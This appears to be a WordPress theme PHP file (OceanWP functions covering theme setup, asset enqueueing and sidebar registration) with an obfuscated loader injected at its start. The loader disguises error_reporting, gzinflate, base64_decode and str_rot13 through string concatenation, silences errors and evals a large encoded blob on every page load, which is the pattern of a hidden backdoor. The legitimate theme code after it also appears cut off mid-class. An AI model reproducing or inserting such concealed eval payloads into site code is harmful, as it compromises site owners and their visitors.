$errorrpn="er"."ro"."r_"."re"."por"."ti"."ng";$errorrpn(0);$gznss="gz"."in"."fla"."te";$bdc46="ba"."se"."6"."4_de"."co"."de";$st13="str"."_r"."ot"."13";eval($st13($gznss($st13($bdc46('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')))));require_once OCEANWP_INC_DIR . 'activation-notice/class-oceanwp-plugin-manager.php'; require_once OCEANWP_INC_DIR . 'activation-notice/template.php'; // Ajax Actions if (defined('DOING_AJAX') && DOING_AJAX) { require OCEANWP_INC_DIR . 'activation-notice/api.php'; } // Front-end classes. } // Breadcrumbs class. require_once OCEANWP_INC_DIR . 'breadcrumbs.php'; // Customizer class. require_once OCEANWP_INC_DIR . 'customizer/library/customizer-custom-controls/functions.php'; require_once OCEANWP_INC_DIR . 'customizer/customizer.php'; } /** * Theme Setup * * @since 1.0.0 */ public static function theme_setup() { // Load text domain. load_theme_textdomain( 'oceanwp', OCEANWP_THEME_DIR . '/languages' ); // Get globals. global $content_width; // Set content width based on theme's default design. if ( ! isset( $content_width ) ) { $content_width = 1200; } // Register navigation menus. register_nav_menus( array( 'topbar_menu' => esc_html__( 'Top Bar', 'oceanwp' ), 'main_menu' => esc_html__( 'Main', 'oceanwp' ), 'footer_menu' => esc_html__( 'Footer', 'oceanwp' ), 'mobile_menu' => esc_html__( 'Mobile (optional)', 'oceanwp' ), ) ); // Enable support for Post Formats. add_theme_support( 'post-formats', array( 'video', 'gallery', 'audio', 'quote', 'link' ) ); // Enable support for tag. add_theme_support( 'title-tag' ); // Add default posts and comments RSS feed links to head. add_theme_support( 'automatic-feed-links' ); // Enable support for Post Thumbnails on posts and pages. add_theme_support( 'post-thumbnails' ); /** * Enable support for header image */ add_theme_support( 'custom-header', apply_filters( 'ocean_custom_header_args', array( 'width' => 2000, 'height' => 1200, 'flex-height' => true, 'video' => true, 'video-active-callback' => '__return_true' ) ) ); /** * Enable support for site logo */ add_theme_support( 'custom-logo', apply_filters( 'ocean_custom_logo_args', array( 'height' => 45, 'width' => 164, 'flex-height' => true, 'flex-width' => true, ) ) ); /* * Switch default core markup for search form, comment form, comments, galleries, captions and widgets * to output valid HTML5. */ add_theme_support( 'html5', array( 'comment-form', 'comment-list', 'gallery', 'caption', 'style', 'script', 'widgets', ) ); // Declare WooCommerce support. add_theme_support( 'woocommerce' ); add_theme_support( 'wc-product-gallery-zoom' ); add_theme_support( 'wc-product-gallery-lightbox' ); add_theme_support( 'wc-product-gallery-slider' ); // Add editor style. add_editor_style( 'assets/css/editor-style.min.css' ); // Declare support for selective refreshing of widgets. add_theme_support( 'customize-selective-refresh-widgets' ); } /** * Adds the meta tag to the site header * * @since 1.1.0 */ public static function pingback_header() { if ( is_singular() && pings_open() ) { printf( '<link rel="pingback" href="%s">' . "\n", esc_url( get_bloginfo( 'pingback_url' ) ) ); } } /** * Adds the meta tag to the site header * * @since 1.0.0 */ public static function meta_viewport() { // Meta viewport. $viewport = '<meta name="viewport" content="width=device-width, initial-scale=1">'; // Apply filters for child theme tweaking. echo apply_filters( 'ocean_meta_viewport', $viewport ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } /** * Load scripts in the WP admin * * @since 1.0.0 */ public static function admin_scripts() { global $pagenow; if ( 'nav-menus.php' === $pagenow ) { wp_enqueue_style( 'oceanwp-menus', OCEANWP_INC_DIR_URI . 'walker/assets/menus.css', false, OCEANWP_THEME_VERSION ); } } /** * Load front-end scripts * * @since 1.0.0 */ public static function theme_css() { // Define dir. $dir = OCEANWP_CSS_DIR_URI; $theme_version = OCEANWP_THEME_VERSION; // Remove font awesome style from plugins. wp_deregister_style( 'font-awesome' ); wp_deregister_style( 'fontawesome' ); // Enqueue font awesome style. if ( get_theme_mod( 'ocean_performance_fontawesome', 'enabled' ) === 'enabled' ) { wp_enqueue_style( 'font-awesome', OCEANWP_THEME_URI . '/assets/fonts/fontawesome/css/all.min.css', false, '6.4.2' ); } // Enqueue simple line icons style. if ( get_theme_mod( 'ocean_performance_simple_line_icons', 'enabled' ) === 'enabled' ) { wp_enqueue_style( 'simple-line-icons', $dir . 'third/simple-line-icons.min.css', false, '2.4.0' ); } // Enqueue Main style. wp_enqueue_style( 'oceanwp-style', $dir . 'style.min.css', false, $theme_version ); // Blog Header styles. if ( 'default' !== get_theme_mod( 'oceanwp_single_post_header_style', 'default' ) && is_single() && 'post' === get_post_type() ) { wp_enqueue_style( 'oceanwp-blog-headers', $dir . 'blog/blog-post-headers.css', false, $theme_version ); } // Register perfect-scrollbar plugin style. wp_register_style( 'ow-perfect-scrollbar', $dir . 'third/perfect-scrollbar.css', false, '1.5.0' ); // Register hamburgers buttons to easily use them. wp_register_style( 'oceanwp-hamburgers', $dir . 'third/hamburgers/hamburgers.min.css', false, $theme_version ); // Register hamburgers buttons styles. $hamburgers = oceanwp_hamburgers_styles(); foreach ( $hamburgers as $class => $name ) { wp_register_style( 'oceanwp-' . $class . '', $dir . 'third/hamburgers/types/' . $class . '.css', false, $theme_version ); } // Get mobile menu icon style. $mobile_menu = get_theme_mod( 'ocean_mobile_menu_open_hamburger', 'default' ); // Enqueue mobile menu icon style. if ( ! empty( $mobile_menu ) && 'default' !== $mobile_menu ) { wp_enqueue_style( 'oceanwp-hamburgers' ); wp_enqueue_style( 'oceanwp-' . $mobile_menu . '' ); } // If Vertical header style. if ( 'vertical' === oceanwp_header_style() ) { wp_enqueue_style( 'oceanwp-hamburgers' ); wp_enqueue_style( 'oceanwp-spin' ); wp_enqueue_style( 'ow-perfect-scrollbar' ); } } /** * Returns all js needed for the front-end * * @since 1.0.0 */ public static function theme_js() { if ( self::oceanwp_is_amp() ) { return; } // Get js directory uri. $dir = OCEANWP_JS_DIR_URI; // Get current theme version. $theme_version = OCEANWP_THEME_VERSION; // Get localized array. $localize_array = self::localize_array(); // Main script dependencies. $main_script_dependencies = array( 'jquery' ); // Comment reply. if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) { wp_enqueue_script( 'comment-reply' ); } // Add images loaded. wp_enqueue_script( 'imagesloaded' ); /** * Load Venors Scripts. */ // Isotop. wp_register_script( 'ow-isotop', $dir . 'vendors/isotope.pkgd.min.js', array(), '3.0.6', true ); // Flickity. wp_register_script( 'ow-flickity', $dir . 'vendors/flickity.pkgd.min.js', array(), $theme_version, true ); // Magnific Popup. wp_register_script( 'ow-magnific-popup', $dir . 'vendors/magnific-popup.min.js', array( 'jquery' ), $theme_version, true ); // Sidr Mobile Menu. wp_register_script( 'ow-sidr', $dir . 'vendors/sidr.js', array(), $theme_version, true ); // Perfect Scrollbar. wp_register_script( 'ow-perfect-scrollbar', $dir . 'vendors/perfect-scrollbar.min.js', array(), $theme_version, true ); // Smooth Scroll. wp_register_script( 'ow-smoothscroll', $dir . 'vendors/smoothscroll.min.js', array(), $theme_version, false ); /** * Load Theme Scripts. */ // Theme script. wp_enqueue_script( 'oceanwp-main', $dir . 'theme.min.js', $main_script_dependencies, $theme_version, true ); wp_localize_script( 'oceanwp-main', 'oceanwpLocalize', $localize_array ); array_push( $main_script_dependencies, 'oceanwp-main' ); // Blog Masonry script. if ( 'masonry' === oceanwp_blog_grid_style() ) { array_push( $main_script_dependencies, 'ow-isotop' ); wp_enqueue_script( 'ow-isotop' ); wp_enqueue_script( 'oceanwp-blog-masonry', $dir . 'blog-masonry.min.js', $main_script_dependencies, $theme_version, true ); } // Menu script. switch ( oceanwp_header_style() ) { case 'full_screen': wp_enqueue_script( 'oceanwp-full-screen-menu', $dir . 'full-screen-menu.min.js', $main_script_dependencies, $theme_version, true ); break; case 'vertical': array_push( $main_script_dependencies, 'ow-perfect-scrollbar' ); wp_enqueue_script( 'ow-perfect-scrollbar' ); wp_enqueue_script( 'oceanwp-vertical-header', $dir . 'vertical-header.min.js', $main_script_dependencies, $theme_version, true ); break; } // Mobile Menu script. switch ( oceanwp_mobile_menu_style() ) { case 'dropdown': wp_enqueue_script( 'oceanwp-drop-down-mobile-menu', $dir . 'drop-down-mobile-menu.min.js', $main_script_dependencies, $theme_version, true ); break; case 'fullscreen': wp_enqueue_script( 'oceanwp-full-screen-mobile-menu', $dir . 'full-screen-mobile-menu.min.js', $main_script_dependencies, $theme_version, true ); break; case 'sidebar': array_push( $main_script_dependencies, 'ow-sidr' ); wp_enqueue_script( 'ow-sidr' ); wp_enqueue_script( 'oceanwp-sidebar-mobile-menu', $dir . 'sidebar-mobile-menu.min.js', $main_script_dependencies, $theme_version, true ); break; } // Search script. switch ( oceanwp_menu_search_style() ) { case 'drop_down': wp_enqueue_script( 'oceanwp-drop-down-search', $dir . 'drop-down-search.min.js', $main_script_dependencies, $theme_version, true ); break; case 'header_replace': wp_enqueue_script( 'oceanwp-header-replace-search', $dir . 'header-replace-search.min.js', $main_script_dependencies, $theme_version, true ); break; case 'overlay': wp_enqueue_script( 'oceanwp-overlay-search', $dir . 'overlay-search.min.js', $main_script_dependencies, $theme_version, true ); break; } // Mobile Search Icon Style. if ( oceanwp_mobile_menu_search_style() !== 'disabled' ) { wp_enqueue_script( 'oceanwp-mobile-search-icon', $dir . 'mobile-search-icon.min.js', $main_script_dependencies, $theme_version, true ); } // Equal Height Elements script. if ( oceanwp_blog_entry_equal_heights() ) { wp_enqueue_script( 'oceanwp-equal-height-elements', $dir . 'equal-height-elements.min.js', $main_script_dependencies, $theme_version, true ); } $perf_lightbox = get_theme_mod( 'ocean_performance_lightbox', 'enabled' ); // Lightbox script. if ( oceanwp_gallery_is_lightbox_enabled() || $perf_lightbox === 'enabled' ) { array_push( $main_script_dependencies, 'ow-magnific-popup' ); wp_enqueue_script( 'ow-magnific-popup' ); wp_enqueue_script( 'oceanwp-lightbox', $dir . 'ow-lightbox.min.js', $main_script_dependencies, $theme_version, true ); } // Slider script. array_push( $main_script_dependencies, 'ow-flickity' ); wp_enqueue_script( 'ow-flickity' ); wp_enqueue_script( 'oceanwp-slider', $dir . 'ow-slider.min.js', $main_script_dependencies, $theme_version, true ); // Scroll Effect script. if ( get_theme_mod( 'ocean_performance_scroll_effect', 'enabled' ) === 'enabled' ) { wp_enqueue_script( 'oceanwp-scroll-effect', $dir . 'scroll-effect.min.js', $main_script_dependencies, $theme_version, true ); } // Scroll to Top script. if ( oceanwp_display_scroll_up_button() ) { wp_enqueue_script( 'oceanwp-scroll-top', $dir . 'scroll-top.min.js', $main_script_dependencies, $theme_version, true ); } // Custom Select script. if ( get_theme_mod( 'ocean_performance_custom_select', 'enabled' ) === 'enabled' ) { wp_enqueue_script( 'oceanwp-select', $dir . 'select.min.js', $main_script_dependencies, $theme_version, true ); } // Infinite Scroll script. if ( 'infinite_scroll' === get_theme_mod( 'ocean_blog_pagination_style', 'standard' ) || 'infinite_scroll' === get_theme_mod( 'ocean_woo_pagination_style', 'standard' ) ) { wp_enqueue_script( 'oceanwp-infinite-scroll', $dir . 'ow-infinite-scroll.min.js', $main_script_dependencies, $theme_version, true ); } // WooCommerce scripts. if ( OCEANWP_WOOCOMMERCE_ACTIVE && 'yes' !== get_theme_mod( 'ocean_woo_remove_custom_features', 'no' ) ) { wp_enqueue_script( 'oceanwp-woocommerce-custom-features', $dir . 'wp-plugins/woocommerce/woo-custom-features.min.js', array( 'jquery' ), $theme_version, true ); wp_localize_script( 'oceanwp-woocommerce-custom-features', 'oceanwpLocalize', $localize_array ); } // Register scripts for old addons. wp_register_script( 'nicescroll', $dir . 'vendors/support-old-oceanwp-addons/jquery.nicescroll.min.js', array( 'jquery' ), $theme_version, true ); } /** * Functions.js localize array * * @since 1.0.0 */ public static function localize_array() { // Create array. $sidr_side = get_theme_mod( 'ocean_mobile_menu_sidr_direction', 'left' ); $sidr_side = $sidr_side ? $sidr_side : 'left'; $sidr_target = get_theme_mod( 'ocean_mobile_menu_sidr_dropdown_target', 'link' ); $sidr_target = $sidr_target ? $sidr_target : 'link'; $vh_target = get_theme_mod( 'ocean_vertical_header_dropdown_target', 'link' ); $vh_target = $vh_target ? $vh_target : 'link'; $scroll_offset = get_theme_mod( 'ocean_scroll_effect_offset_value' ); $scroll_offset = $scroll_offset ? $scroll_offset : 0; $array = array( 'nonce' => wp_create_nonce( 'oceanwp' ), 'isRTL' => is_rtl(), 'menuSearchStyle' => oceanwp_menu_search_style(), 'mobileMenuSearchStyle' => oceanwp_mobile_menu_search_style(), 'sidrSource' => oceanwp_sidr_menu_source(), 'sidrDisplace' => get_theme_mod( 'ocean_mobile_menu_sidr_displace', true ) ? true : false, 'sidrSide' => $sidr_side, 'sidrDropdownTarget' => $sidr_target, 'verticalHeaderTarget' => $vh_target, 'customScrollOffset' => $scroll_offset, 'customSelects' => '.woocommerce-ordering .orderby, #dropdown_product_cat, .widget_categories select, .widget_archive select, .single-product .variations_form .variations select', ); // WooCart. if ( OCEANWP_WOOCOMMERCE_ACTIVE ) { $array['wooCartStyle'] = oceanwp_menu_cart_style(); } // Apply filters and return array. return apply_filters( 'ocean_localize_array', $array ); } /** * Add headers for IE to override IE's Compatibility View Settings * * @param obj $headers header settings. * @since 1.0.0 */ public static function x_ua_compatible_headers( $headers ) { $headers['X-UA-Compatible'] = 'IE=edge'; return $headers; } /** * Registers sidebars * * @since 1.0.0 */ public static function register_sidebars() { $heading = get_theme_mod( 'ocean_sidebar_widget_heading_tag', 'h4' ); $heading = apply_filters( 'ocean_sidebar_widget_heading_tag', $heading ); $foo_heading = get_theme_mod( 'ocean_footer_widget_heading_tag', 'h4' ); $foo_heading = apply_filters( 'ocean_footer_widget_heading_tag', $foo_heading ); // Default Sidebar. register_sidebar( array( 'name' => esc_html__( 'Default Sidebar', 'oceanwp' ), 'id' => 'sidebar', 'description' => esc_html__( 'Widgets in this area will be displayed in the left or right sidebar area if you choose the Left or Right Sidebar layout.', 'oceanwp' ), 'before_widget' => '<div id="%1$s" class="sidebar-box %2$s clr">', 'after_widget' => '</div>', 'before_title' => '<' . $heading . ' class="widget-title">', 'after_title' => '</' . $heading . '>', ) ); // Left Sidebar. register_sidebar( array( 'name' => esc_html__( 'Left Sidebar', 'oceanwp' ), 'id' => 'sidebar-2', 'description' => esc_html__( 'Widgets in this area are used in the left sidebar region if you use the Both Sidebars layout.', 'oceanwp' ), 'before_widget' => '<div id="%1$s" class="sidebar-box %2$s clr">', 'after_widget' => '</div>', 'before_title' => '<' . $heading . ' class="widget-title">', 'after_title' => '</' . $heading . '>', ) ); // Search Results Sidebar. if ( get_theme_mod( 'ocean_search_custom_sidebar', true ) ) { register_sidebar( array( 'name' => esc_html__( 'Search Results Sidebar', 'oceanwp' ), 'id' => 'search_sidebar', 'description' => esc_html__( 'Widgets in this area are used in the 